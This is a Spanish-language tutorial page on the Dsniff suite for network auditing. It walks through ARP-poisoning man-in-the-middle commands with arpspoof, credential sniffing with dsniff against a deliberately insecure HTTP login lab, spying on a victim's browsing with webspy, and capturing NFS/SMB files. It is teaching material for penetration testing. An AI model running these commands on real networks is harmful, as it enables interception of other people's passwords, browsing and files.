GhostAcademy logo GhostAcademy
🕵️ Auditoría de red · Sniffing · MITM
Dsniff Suite
// dsniff · arpspoof · webspy · filesniff · modo promiscuo

Colección de herramientas esenciales para auditoría de red y pruebas de penetración centradas en la intercepción de tráfico. Incluye captura de credenciales, envenenamiento ARP (MITM), seguimiento de navegación y captura de archivos en red.

dsniff — captura de credenciales arpspoof — ARP poisoning · MITM webspy — seguimiento HTTP filesniff — NFS/SMB Modo promiscuo · IP forwarding
🕵️
Dsniff Suite
Colección de herramientas de sniffing y ataque MITM para auditoría de red

Dsniff no es un solo programa sino una suite de herramientas especializadas en la intercepción de tráfico de red. Cada herramienta está diseñada para un propósito específico dentro de una auditoría o prueba de penetración.

Herramienta A
dsniff
Captura contraseñas en texto claro o formatos débiles (HTTP, POP, NTLMv1).
Herramienta B
arpspoof
Envenena la caché ARP para redirigir tráfico — ataque Man-in-the-Middle.
Herramienta C
webspy
Ve en tiempo real las páginas HTTP que visita la víctima en tu propio navegador.
Herramienta D
filesniff
Detecta y reconstruye archivos transferidos por NFS y SMB en la red.
📦
1. Instalación
Disponible en repositorios de Ubuntu
bash
sudo apt update
sudo apt install dsniff -y
⚠️ Posible conflicto: Si tu sistema ya tiene el paquete dsh instalado, puede ocurrir un conflicto de nombres. La instalación de dsniff puede requerir la desinstalación de otros paquetes que usen ese nombre.
📡
2. Modo Promiscuo
Necesario para capturar todo el tráfico de la red, no solo el propio

En modo normal, una interfaz de red solo procesa los paquetes dirigidos a su propia dirección MAC. En modo promiscuo, acepta y procesa todos los paquetes que circulan por el segmento de red.

bash — identificar interfaz y habilitar modo promiscuo
# 1. Identificar la interfaz de red (busca eth0, enp0s3, etc.)
ip a
# Busca: enp0s3, eth0, ens33...

# 2. Habilitar modo promiscuo en la interfaz
sudo ip link set dev enp0s3 promisc on

# 3. Verificar que está activo (busca PROMISC en los flags)
ip link show enp0s3
ℹ️ Reemplaza enp0s3 con el nombre real de tu interfaz de red según el output de ip a.
🔑
Herramientas de la Suite
dsniff · arpspoof · webspy · filesniff
A dsniff Captura de credenciales en protocolos sin cifrar

dsniff captura y muestra las contraseñas que circulan por la red en texto claro o en formatos débiles (NTLMv1, login básico HTTP/POP).

ObjetivoComando
Monitorear la interfazsudo dsniff -i <interfaz>
Guardar en archivosudo dsniff -i <interfaz> -w contrasenas.log
bash
# Modo promiscuo + captura en vivo
sudo ip link set dev enp0s3 promisc on
sudo dsniff -i enp0s3

# Guardar capturas en archivo
sudo dsniff -i enp0s3 -w contrasenas.log

Laboratorio — Captura HTTP con Apache

Montaremos un servidor web HTTP vulnerable para demostrar cómo dsniff captura credenciales enviadas en texto plano.

1
Instalar y configurar Apache2
Instalamos el servidor y abrimos el puerto 80 en UFW.
bash
sudo apt update && sudo apt install apache2 -y
sudo ufw allow "Apache Full"
sudo ufw reload
# Verificar: abrir http://localhost en el navegador
2
Crear la página de login HTTP (vulnerable)
Reemplazamos el index.html de Apache con un formulario que envía credenciales en texto plano por POST.
bash
cd /var/www/html/
sudo rm index.html
sudo nano index.html
HTML — index.html (formulario vulnerable)
<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <title>Servicio Vulnerable de Prueba</title>
  <style>
    body { font-family: Arial, sans-serif; text-align: center; padding-top: 50px; }
    .login-box { width: 300px; margin: 0 auto; border: 1px solid #ccc; padding: 20px; }
    input[type="text"], input[type="password"] { width: 90%; padding: 10px; margin: 5px 0; }
  </style>
</head>
<body>
  <div class="login-box">
    <h2>Inicio de Sesión (HTTP)</h2>
    <p style="color:red">🚨 ADVERTENCIA: Esta conexión NO es segura (HTTP).</p>
    <!-- action="login.php" method="POST" → envía credenciales en texto plano -->
    <form action="login.php" method="POST">
      <input type="text"     name="username" placeholder="Usuario"    required><br>
      <input type="password"  name="password" placeholder="Contraseña" required><br>
      <button type="submit">Iniciar Sesión</button>
    </form>
  </div>
</body>
</html>
Guardar: Ctrl+O → Enter → Ctrl+X
3
Ejecutar la prueba — Ubuntu escucha, Windows envía
Dos máquinas en la misma red: Ubuntu monitorea, Windows hace el login HTTP.

A — Preparar dsniff (máquina Ubuntu)

bash — Ubuntu
# 1. Identificar interfaz
ip a

# 2. Modo promiscuo + lanzar dsniff
sudo ip link set dev enp0s3 promisc on
sudo dsniff -i enp0s3
dsniff: listening on enp0s3

B — Simular login (máquina Windows)

bash — Ubuntu: obtener IP para compartir con Windows
hostname -I
192.168.1.44
# En Windows → navegar a: http://192.168.1.44
# Introducir: Usuario=testuser  Contraseña=secreto123

C — Resultado capturado en Ubuntu

⚡ dsniff output — credenciales capturadas en texto plano
--------------------------------------------------
192.168.1.10 -> 192.168.1.5 (http)
USER: testuser
PASS: secreto123
--------------------------------------------------
tcpdump output

// tcpdump -i enp0s3 -A port 80 — confirmación de paquetes HTTP con credenciales a nivel de red

🔧 Si dsniff no captura nada: Usa tcpdump para confirmar que los paquetes HTTP están llegando a nivel de red. Si tcpdump los ve pero dsniff no, el problema es interno de dsniff o del manejo del tráfico local por el kernel.
bash — diagnóstico con tcpdump
sudo tcpdump -i enp0s3 -A port 80
B arpspoof Envenenamiento de caché ARP — ataque Man-in-the-Middle en LAN conmutada

arpspoof envenena la caché ARP del gateway (router) y de la víctima, redirigiendo su tráfico a través de nuestra máquina. Es el prerrequisito para que la mayoría de herramientas de Dsniff funcionen en una LAN conmutada.

// Topología del ataque MITM
💻 Víctima 192.168.1.50
⇄
🎯 Atacante 192.168.1.X
⇄
🌐 Router 192.168.1.1
El tráfico Víctima ↔ Router pasa ahora a través del Atacante
1
Habilitar IP Forwarding
Indispensable para que los paquetes capturados sigan su camino al destino real (sin esto la víctima pierde conexión).
bash
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
2
Ejecutar arpspoof en dos terminales simultáneas
Se necesitan dos instancias: una que engaña a la víctima (haciéndose pasar por el router) y otra que engaña al router (haciéndose pasar por la víctima).
Terminal 1 sudo arpspoof -i enp0s3 -t <IP_Víctima> <IP_Router> Engaña a la víctima → le dice que el router está en nuestra MAC
Terminal 2 sudo arpspoof -i enp0s3 -t <IP_Router> <IP_Víctima> Engaña al router → le dice que la víctima está en nuestra MAC
Terminal 3 sudo dsniff -i enp0s3 Con el tráfico fluyendo por nosotros, captura las credenciales
bash — ejemplo con IPs reales
# Terminal 1 — engañar a la víctima
sudo arpspoof -i enp0s3 -t 192.168.1.50 192.168.1.1

# Terminal 2 — engañar al router
sudo arpspoof -i enp0s3 -t 192.168.1.1 192.168.1.50

# Terminal 3 — capturar tráfico interceptado
sudo dsniff -i enp0s3
C webspy Ver en tiempo real las páginas HTTP que visita la víctima

webspy permite ver en tu propio navegador, en tiempo real, las páginas web que está visitando un usuario en la red. Solo funciona con tráfico HTTP sin cifrar.

Pre-requisito: Debe estar ejecutando arpspoof (Herramienta B) activo para redirigir el tráfico de la víctima hacia tu máquina antes de lanzar webspy.
bash
# Sintaxis general
sudo webspy -i <interfaz> <IP_del_host_a_espiar>

# Ejemplo
sudo webspy -i enp0s3 192.168.1.38
ℹ️ Comportamiento: Abre tu navegador. webspy abrirá automáticamente nuevas pestañas que reflejan las URLs HTTP visitadas por la víctima en tiempo real.
D filesniff Captura y reconstruye archivos transferidos por NFS y SMB

filesniff monitorea la red para detectar y reconstruir archivos que se transfieren a través de NFS (Network File System) y SMB (Server Message Block, el protocolo de compartición de archivos de Windows).

ObjetivoComando
Capturar archivos en redsudo filesniff -i <interfaz>
bash
sudo filesniff -i enp0s3